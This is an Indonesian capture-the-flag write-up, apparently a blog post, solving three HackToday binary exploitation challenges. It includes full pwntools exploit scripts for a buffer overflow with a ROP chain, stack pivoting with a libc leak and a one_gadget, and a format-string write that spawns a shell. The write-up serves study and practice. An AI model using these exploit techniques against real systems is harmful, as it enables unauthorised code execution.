1. ezpz
Diberikan binary dengan spesifikasi sebagai berikut/ezpz $ file ezpz
ezpz: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=477a0c4c22c10b7894839e3350771a9746c04c21, not stripped
/ezpz $ checksec ezpz
[*] 'binexp/ezpz/ezpz'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Binary tersebut meminta input dan mencetak nya kembali.
/ezpz $ ./ezpz
test
test
Setelah kita mencoba untuk mendecompile. Namun fungsi fungsi penting tidak dapat didecompile sebagai mestinya karena ada semacam instruksi anti decompile dalam binary tersebut. Kita coba untuk mencari beberapa info penting lain dalam decompiler. Kita dapat menemukan string “/bin/sh” di segment
.rodata
dengan alamat
0x40079A
. Kita juga menemukan fungsi system yang disembunyikan di dalam got strlen dan akan dipanggil oleh fungsi w_strlen di pada alamat
0x4005F7
.
Berikut adalah snippet dari disassembly fungsi main.
text:0000000000400679 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400679 public main
.text:0000000000400679 main: ; DATA XREF: _start+1D↑o
.text:0000000000400679 ; __unwind {
.text:0000000000400679 push rbp
.text:000000000040067A mov rbp, rsp
.text:000000000040067D sub rsp, 10h
.text:0000000000400681 mov [rbp-4], edi
.text:0000000000400684 mov [rbp-10h], rsi
.text:0000000000400688 jz short loc_40068C
.text:000000000040068A jnz short near ptr loc_40068C+2
.text:000000000040068C
.text:000000000040068C loc_40068C: ; CODE XREF: .text:0000000000400688↑j
.text:000000000040068C ; .text:000000000040068A↑j
.text:000000000040068C call near ptr 0FFFFFFFFC1074F54h
Didalam fungsi main, terdapat anti decompiler yang membuat decompiler salah dalam menerjemahkan fungsi tersebut. Kita coba dynamic analysis dengan menggunakan gdb.
gdb-peda$ b *main
Breakpoint 1 at 0x400679
gdb-peda$ pdisas main
gdb-peda$ pdisas main
Dump of assembler code for function main:
=> 0x0000000000400679 <+0>: push rbp
0x000000000040067a <+1>: mov rbp,rsp
0x000000000040067d <+4>: sub rsp,0x10
0x0000000000400681 <+8>: mov DWORD PTR [rbp-0x4],edi
0x0000000000400684 <+11>: mov QWORD PTR [rbp-0x10],rsi
0x0000000000400688 <+15>: je 0x40068c <main+19>
0x000000000040068a <+17>: jne 0x40068e <main+21>
0x000000000040068c <+19>: call 0xffffffffc1074f54
0x0000000000400691 <+24>: xor BYTE PTR [rax],dl
0x0000000000400693 <+26>: (bad)
0x0000000000400694 <+27>: add BYTE PTR [rax-0x75],cl
0x0000000000400697 <+30>: add BYTE PTR [rax-0x75],cl
0x000000000040069a <+33>: adc eax,0x200941
0x000000000040069f <+38>: mov rdi,QWORD PTR [rdx]
0x00000000004006a2 <+41>: mov ecx,0x0
0x00000000004006a7 <+46>: mov edx,0x2
0x00000000004006ac <+51>: mov esi,0x0
0x00000000004006b1 <+56>: call rax
0x00000000004006b3 <+58>: mov rax,0x5
0x00000000004006ba <+65>: call 0x4006bf <main+70>
0x00000000004006bf <+70>: add QWORD PTR [rsp],rax
0x00000000004006c3 <+74>: ret
0x00000000004006c4 <+75>: mov rax,0x601030
0x00000000004006cb <+82>: mov rax,QWORD PTR [rax]
0x00000000004006ce <+85>: mov rdx,QWORD PTR [rip+0x200913] # 0x600fe8
0x00000000004006d5 <+92>: mov rdi,QWORD PTR [rdx]
0x00000000004006d8 <+95>: mov ecx,0x0
0x00000000004006dd <+100>: mov edx,0x2
0x00000000004006e2 <+105>: mov esi,0x0
0x00000000004006e7 <+110>: call rax
0x00000000004006e9 <+112>: je 0x4006ed <main+116>
0x00000000004006eb <+114>: jne 0x4006ef <main+118>
0x00000000004006ed <+116>: call 0xffffffffff71efb5
0x00000000004006f2 <+121>: (bad)
0x00000000004006f3 <+122>: (bad)
0x00000000004006f4 <+123>: mov eax,0x0
0x00000000004006f9 <+128>: leave
0x00000000004006fa <+129>: ret
End of assembler dump.
Terdapat beberapa instruksi call rax disana. Kita coba untuk break disetiap call rax, untuk mengetahui behaviour dari program tersebut.
1.
RAX: 0x7ffff7a7ce70 (<__GI__IO_setvbuf>: push rbp)
RBX: 0x0
RCX: 0x0
RDX: 0x2
RSI: 0x0
RDI: 0x7ffff7dd2620 --> 0xfbad2084
=> 0x4006b1 <main+56>: call rax
Rax pertama digunakan untuk memanggil fungsi setvbuf, yaitu untuk mematikan buffer. Kita lanjutkan ke instruksi selanjutnya.
Pada instruksi selanjutnya program akan mengeksekusi fungsi
__exit
yang sebenarnya adalah fungsi scanf.
RAX: 0x0
RBX: 0x0
RCX: 0xfbad008b
RDX: 0x7ffff7a784d0 (<__isoc99_scanf>: push rbx)
RSI: 0x7fffffffdca0 --> 0x7fffffffdcce --> 0x4007000000
RDI: 0x4007a3 --> 0x31b010000007325
RBP: 0x7fffffffdcb0 --> 0x7fffffffdcd0 --> 0x400700 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffdca0 --> 0x7fffffffdcce --> 0x4007000000
RIP: 0x400661 (<__exit+60>: call rdx)
R8 : 0x7ffff7dd3790 --> 0x0
R9 : 0x0
R10: 0x0
R11: 0xb ('\x0b')
R12: 0x400520 (<_start>: xor ebp,ebp)
R13: 0x7fffffffddb0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400652 <__exit+45>: mov rsi,rax
0x400655 <__exit+48>: lea rdi,[rip+0x147] # 0x4007a3
0x40065c <__exit+55>: mov eax,0x0
=> 0x400661 <__exit+60>: call rdx
0x400663 <__exit+62>: mov rax,0x601038
0x40066a <__exit+69>: mov rax,QWORD PTR [rax]
0x40066d <__exit+72>: lea rdx,[rbp-0x10]
0x400671 <__exit+76>: mov rdi,rdx
Dengan argumen
"%s"
yang berada di rdi, dan alamat
0x7fffffffdca0
di rsi , program membaca inputan dengan menggunakan scanf, sehingga bisa buffer overflow. Kita cek RIP berada pada
0x7fffffffdcb8
.
gdb-peda$ i f
Stack level 0, frame at 0x7fffffffdcc0:
rip = 0x400674 in __exit; saved rip = 0x4006f4
called by frame at 0x7fffffffdce0
Arglist at 0x7fffffffdcb0, args:
Locals at 0x7fffffffdcb0, Previous frame's sp is 0x7fffffffdcc0
Saved registers:
rbp at 0x7fffffffdcb0, rip at 0x7fffffffdcb8
Untuk mengisi RIP kita memerlukan buffer sebesar
0x7fffffffdcb8 - 0x7fffffffdca0 = 24
. Kita dapat memanggil shell dengan melakukan pop rdi alamat
"/bin/sh"
, lalu memanggil fungsi
_strlen
. Untuk itu kita membutuhkan gadget pop rdi. Kita coba gunakan tools ROPgadget untuk mencari gadget yang dapat digunakan.
/ezpz $ ROPgadget --binary ezpz
.
0x0000000000400763 : pop rdi ; ret
.
. Mari kita susun exploit dengan informasi yang kita miliki.
from pwn import *
r = process('./ezpz')
context.terminal = ['kitty', 'sh', '-c']
gdb.attach(r, 'b *0x00400677')
# 0x40079A binsh
payload = "A" * 24
payload += p64(0x400763) # pop rdi
payload += p64(0x40079a) # binsh
payload += p64(0x4005f7) # w_strlen
r.sendline(payload)
r.interactive()
Hasil eksekusi
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAc\x07@
$ cat flag
HackToday{jangan_terlalu_buffer_:(}
$
2. nullflag
Diberikan binary dengan spesifikasi berikut./nullflag $ file nullflag
nullflag: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b58f79f7e1a54a2eb3bba48349bbd8241daf8422, not stripped
/nullflag $ checksec nullflag
[*] 'binexp/nullflag/nullflag'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Berikut adalah hasil decompile binary tersebut
__int64 vuln()
{
char buf; // [rsp+0h] [rbp-70h]
read(0, &buf, 0x80uLL);
return 0LL;
}
Binary tersebut membaca input sebanyak
0x80
bytes dengan buffer yang disediakan sebanyak
0x70
byte. Terdapat buffer overflow namun hanya dapat mengisi RBP dan RIP. Kita tidak dapat langsung menggunakan ROP chain karena fungsi read yang disediakan tidak mencukupi. Cara untuk mengatasi ini adalah dengan melakukan stack pivoting ke area yang writeable, yaitu BSS. Kita coba lihat disassembly dari fungsi vuln.
gdb-peda$ pdisas vuln
Dump of assembler code for function vuln:
0x00000000004007cf <+0>: push rbp
0x00000000004007d0 <+1>: mov rbp,rsp
0x00000000004007d3 <+4>: sub rsp,0x70
0x00000000004007d7 <+8>: lea rax,[rbp-0x70]
0x00000000004007db <+12>: mov edx,0x80
0x00000000004007e0 <+17>: mov rsi,rax
0x00000000004007e3 <+20>: mov edi,0x0
0x00000000004007e8 <+25>: mov eax,0x0
0x00000000004007ed <+30>: call 0x400590 <read@plt>
0x00000000004007f2 <+35>: mov eax,0x0
0x00000000004007f7 <+40>: leave
0x00000000004007f8 <+41>: ret
Apabila kita mengisi RBP dengan nilai bss, dan RIP dengan alamat
0x00000000004007d7
, maka program akan menganggap RIP selanjutnya berada di alamat RBP+8 yang merupakan alamat di bss. Langkah langkah eksploit adalah sebagai berikut.
1. Overwrite RBP ke alamat bss writable dan RIP ke alamat dimana RBP tidak tertimpa dengan RSP.
2. Read akan membaca kedalam RBP-0x70 yang berada dalam BSS. Input payload Rop chain untuk melakukan leak fungsi libc pada gotm kita gunakan fungsi read() yang sudah diresolve.
3. Didalam payload arahkan fungsi untuk kembali ke main. Hitung offset libc read ke magic offset one gadget di libc. Overwrite RIP dengan magic one gadget yang sudah dihitung tadi.
Terdapat beberapa unintended dificulty dimana fungsi puts harus dipanggil dua kali untuk melakukan leak. Berikut eksploit yang sudah disusun.
from pwn import *
from sys import *
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""
pop_rdi = 0x0000000000400893
pop_rsi_r15 = 0x0000000000400891
leave_ret = 0x00000000004007f7
read = 0x0000000000400590
ret = 0x00000000004007F8
puts = 0x0000000000400570
main =0x00000000004007F9
p = process("./nullflag")
# p = connect("103.56.207.107",30004)
cmd = """
b *0x00000000004007f2
"""
if(len(argv) == 3):
gdb.attach(p, cmd)
pload = 'a'*0x70
pload += p64(0x601900)
pload += p64(0x4007d7)
p.send(pload)
pload = p64(pop_rdi)
pload += p64(0x0000000000601030)
pload += p64(puts)
pload += p64(pop_rdi)
pload += p64(0x0000000000601030)
pload += p64(puts)
pload += p64(main)
pload += "A" * 8 * 7
pload += p64(0x601900-0x78)
pload += p64(leave_ret)
p.send(pload)
read_addr = u64(p.recv(6).ljust(8,'\x00'))
offset_read = 0x00000000000f7250
basic = read_addr - offset_read
magic = 0x45216
one_gadget = (basic + magic)
pload = "A" * 0x70
pload += "A" * 8
pload += p64(one_gadget)
p.send(pload)
p.interactive()
Hasil eksekusi
[+] Starting local process './nullflag': pid 15276
[*] Switching to interactive mode
Pr\x93\xad�
$ cat flag
HackToday{An0ther_l3vee33eelllllll_0f_stack_p111v0ting}$
3. HackMap
Diberikan sebuah binary 64 bit dengan spesifikasi sebagai berikut./hackmap $ file hackmap
hackmap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=71147598285bf092b7fc0b888cf066d7ad4f75f7, not stripped
/hackmap $ checksec hackmap
[*] 'binexp/hackmap/hackmap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
/hackmap $ ./hackmap
---------------------------------
HackMap - Tools Heking Otomatis
---------------------------------
hehe
-----------------
Bar menu
-----------------
[h] - Mulai heking
[e] - Keluar. Get a real lyfe
> h
Masukan web yang ingin kamu hek
> ******.com
Heking sukses. Satu langkah menuju gg
> e
Kita coba lihat hasil decompile dari binary tersebut.
Fungsi starthack
int starthack()
{
int result; // eax
char v1; // [rsp+Bh] [rbp-5h]
fgets(&namapail[5], 88, stdin);
namapail[(signed int)(strlen(&namapail[5]) + 4)] = 0;
do
{
while ( 1 )
{
menu(&namapail[5], 88LL);
v1 = getchar();
result = getchar();
if ( v1 != 104 )
break;
hack();
}
}
while ( v1 != 101 );
return result;
}
Fungsi hack
int hack()
{
FILE *stream; // ST08_8
int v2; // [rsp+4h] [rbp-ECh]
char needle[8]; // [rsp+10h] [rbp-E0h]
__int16 v4; // [rsp+18h] [rbp-D8h]
char s[200]; // [rsp+20h] [rbp-D0h]
unsigned __int64 v6; // [rsp+E8h] [rbp-8h]
v6 = __readfsqword(0x28u);
*(_QWORD *)needle = 'moc';
v4 = 0;
printf("Masukan web yang ingin kamu hek\n> ");
fgets(s, 150, stdin);
v2 = strlen(s);
if ( !strstr(s, needle) )
return printf("Periksa inputannya lagi ya mz: %p", s);
s[v2 - 1] = 0;
puts("Heking sukses. Satu langkah menuju gg");
stream = fopen(namapail, "wb");
fprintf(stream, s);
return fclose(stream);
}
Dari analisa pada pseudocode, binary tersebut akan membuat file pada
"/tmp/" + "nama_file"
yang kita input diawal. Binary tersebut juga melakukan write pada file tersebut saat kita memasukkan command h. Untuk melakukan write, input kita harus berisikan string com. Terdapat vulnerablity format string didalam fprintf, karena tidak menggunakan format parameter.
/hackmap $ ./hackmap
---------------------------------
HackMap - Tools Heking Otomatis
---------------------------------
hehe
-----------------
Bar menu
-----------------
[h] - Mulai heking
[e] - Keluar. Get a real lyfe
> h
Masukan web yang ingin kamu hek
> %p_%p_%p_%p.com
Heking sukses. Satu langkah menuju gg
-----------------
Bar menu
-----------------
[h] - Mulai heking
[e] - Keluar. Get a real lyfe
> ^C
/hackmap $ cat /tmp/hehe
0x7ffd82e7ddc0_0x7f5ee24b7040_0x4_0x1.com/hackmap $
Karena terdapat vulnerability format string, maka kita dapat melakukan write to anywhere. Namun kita tidak dapat melakukan leak dikarenakan output dari fprintf tidak ditampilkan di stdout. Pada soal tidak disediakan libc sehingga kita coba cara yang lain.
Apabila kita tidak memasukkan string com pada input hack, maka binary akan mencetak sesuatu yang menarik.
/hackmap $ ./hackmap
---------------------------------
HackMap - Tools Heking Otomatis
---------------------------------
hehe
-----------------
Bar menu
-----------------
[h] - Mulai heking
[e] - Keluar. Get a real lyfe
> h
Masukan web yang ingin kamu hek
> heee
Periksa inputannya lagi ya mz: 0x7ffcdd92ab30
Ini dikarenakan program menggunakan
%p
saat mencetak string sehingga yang tercetak adalah pointer dari string tersebut.
return printf("Periksa inputannya lagi ya mz: %p", s);
String inputan berada pada stack, sehingga kita dapat menghitung offset RIP dengan alamat pointer tersebut. Karena kita dapat write to anywhere dan kita mengetahui dimana RIP maka kita dapat menuliskan ROPchain menggunakan format string vuln, exit dari fungsi starthack maka ROPchain tersebut akan dieksekusi.
Sebelum menyusun eksploit kita coba kumpulkan informasi yang kita butuhkan. Untuk melakukan overwrite pada format string kita membutuhkan offset untuk meletakkan alamat yang akan ditulis. Karena binary ini merupakan program 64 bit, maka alamat yang akan ditulis harus diletakkan dibelakang payload, karena alamat stack pasti mengandung null bytes sehingga membuat printf terhenti untuk mencetak string. Berikut adalah script parser sederhana untuk menemukan offset yang pas.
from pwn import *
from time import *
def pad(pload):
return pload +"_com" + "A" * (0x40 - 4 - len(pload))
p = process("./hackmap")
p.sendline("hehe")
for i in range(1000):
alamat = "BBBBCCCC"
pload = pad("%{}$p".format(i)) + alamat
print pload
p.sendline("h")
sleep(0.01)
p.sendline(pload)
sleep(0.01)
leak = open("/tmp/hehe").read().split("kamu hek ")[0]
print i, leak
# 17 0x4343434342424242_comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
Didapat offset 17 untuk melakukan overwrite.
Berikut adalah ide eksploit yang terpikirkan:
- Leak pointer dari string dengan memasukkan string tanpa “com”
- Hitung offset antara stack yang ada dengan stack alamat rip dari fungsi starthack
- Buat ROPchain untuk melakukan leak terhadap salah satu fungsi di got
- Buat ROPchain untuk kembali ke fungsi starthack kembali
- Buat ROPchain untuk kembali ke system.
from pwn import *
from sys import *
from time import *
strlen = 0x0000000000602028
printf = 0x0000000000602038
starthack = 0x0000000000400A05
puts = 0x00000000004006D0
poprdi = 0x0000000000400b63
puts_got = 0x0000000000602018
bss = 0x0000000000602139
offset = 17
p = process("./hackmap")
cmd = """
b *0x0000000000400a7b
b *starthack
"""
if(len(argv) == 3):
gdb.attach(p, cmd)
def baca():
print read("/tmp/hehe")
def buat(alamat, isi, write=0):
nn = "p"
# fix unintended dificulty.
alamat = alamat | 0x00ff000000000000
print(hex(alamat))
if write == 1:
nn = "hn"
if isi == 0:
pload = "%{}${}".format(offset, nn)
pload = pad(pload) + p64(alamat)
return pload
pload = "%{}c".format(isi)+"%{}${}".format(offset, nn)
pload = pad(pload) +p64(alamat)
return pload
# create manually overwrite anywhere formatstring
def conv(alamat, mau):
baru = []
for i in range(0, len(mau), 2):
part = buat(alamat+i, u16(mau[i:i+2]), 1)
baru.append(part)
return baru
def pad(naon):
return naon + "_com" + "A" * (0x40-4-len(naon))
def kirim(pload):
p.sendline("h")
sleep(0.1)
p.sendline(pload)
sleep(0.1)
p.sendline("hehe")
sleep(0.01)
p.sendline("h")
sleep(0.01)
p.sendline("naon")
sleep(0.01)
p.recvuntil("mz: ")
alamat_web = eval(p.recvline()[:-1])
print "alamat stack web", hex(alamat_web)
rip_starthack = alamat_web + 280
rip_starthack2 = alamat_web + 312
print hex(rip_starthack)
print "leak "
ex = ELF("./hackmap")
payload = p64(poprdi) + p64(putsgot) + p64(puts) + p64(starthack)
rop1 = []
rop1 += conv(rip_starthack, payload) # rop1
i = 0
for part in rop1:
print i, repr(part)
i += 1
kirim(part)
print("hasil")
for i in range(150):
print i, p.recvline()
p.sendline("e")
# hitung offset
putslibc = u64((p.recvline()[2:].strip()).ljust(8, "\x00"))
print "leak ", hex(putslibc)
offset_system = 0x0000000000045390
offset_str_bin_sh = 0x18cd57
offset_puts = 0x000000000006f690
binsh = putslibc - offset_puts + offset_str_bin_sh
system = putslibc - offset_puts + offset_system
# create new payload
p.sendline("hehe")
payload2 = p64(poprdi) + p64(binsh) + p64(system)
final2 = []
final2 += conv(rip_starthack2, payload2)
for part in final2:
print part
kirim(part)
p.interactive()
Hasil eksekusi
.
.
[h] - Mulai heking
[e] - Keluar. Get a real lyfe
> $ e
$ cat flag
HackToday{4dventur3_0f_bl1nD_fmt_Striiiiiiiiiiiiiinggggggggsss_h3h3}
Tidak ada komentar:
Posting Komentar